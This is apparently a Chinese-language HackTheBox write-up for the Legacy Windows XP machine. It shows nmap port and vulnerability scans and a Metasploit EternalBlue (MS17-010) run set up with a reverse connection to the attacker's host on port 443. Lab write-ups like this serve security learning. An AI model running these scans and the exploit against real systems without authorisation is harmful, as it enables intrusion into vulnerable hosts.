> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/legacy-hackthebox-writeup.md).

# Legacy HackTheBox 详解

{% embed url="<https://app.hackthebox.com/machines/Legacy>" %}

{% hint style="warning" %}
**技能：**

* SMB 枚举
* EternalBlue 漏洞利用（MS17-010）（Triple Z 漏洞利用）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/c08303198377451edbf8e03bed55e7e654c41285" alt=""><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/7b2640897374f4f7a45da0ef7b627012c1b6886a" alt=""><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.4 -oG allPorts
```

<figure><img src="/files/c5122c915f95000f8948118f1a2f3b79fdb24b4d" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板（135,139,445）

<figure><img src="/files/95336678a26d19aa2bba9d604ab2fe20ac278bcb" alt="" width="563"><figcaption></figcaption></figure>

使用 Nmap 进行端口版本扫描：

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p135,139,445 10.10.10.4 -oN targeted
```

<figure><img src="/files/3d73b963dafb358a336dc2c61370b1c5fbe1e0f7" alt=""><figcaption></figcaption></figure>

## EternalBlue 漏洞利用 - SMB（MS17-010）

Nmap 分析告诉我们，目标服务器运行的是 Windows XP 版本，因此我们可以尝试利用 MS17-010 漏洞。

我们启动一次 Nmap 扫描来检查该漏洞是否存在：

```bash
nmap --script "vuln and safe" -p445 10.10.10.4 -oN smbScan
```

这次扫描确认该机器存在 MS17-010 漏洞。

<figure><img src="/files/d4dc33f1ae19663a9c6de8b20c5ee8aeb8dbe348" alt=""><figcaption></figcaption></figure>

### **使用 Metasploit 进行漏洞利用**

我们在 Metasploit 中寻找该漏洞利用模块：

```
msfconsole 
search eternalblue 
```

我们选择列出的第一个漏洞利用模块：

```
use 1
```

<figure><img src="/files/b304743b406ed9f31b221f1887ee95107eb1a755" alt=""><figcaption></figcaption></figure>

我们配置这些选项：

```bash
set RHOSTS 10.10.10.4
set LHOST 10.10.14.50
set LPORT 443
```

<figure><img src="/files/42143f6222add8c9ec69d64aeb548d883ee59eec" alt="" width="563"><figcaption></figcaption></figure>

然后我们启动该漏洞利用模块：

<figure><img src="/files/e2ab0677d7e9ef8ef573bd2e879e086f6dd5082f" alt=""><figcaption></figcaption></figure>

### user.txt 标志 :)

<figure><img src="/files/4887d4ca9d5c3595e71a7972aed955f0e6cf9d3c" alt=""><figcaption></figcaption></figure>

### root.txt flag :)

<figure><img src="/files/8067f79b119d4b4e09fdda4ad9796fe9e31f8094" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/028bc5de2c2deba89447fa7f1d84f4c11c8cb599" alt="" width="514"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/legacy-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
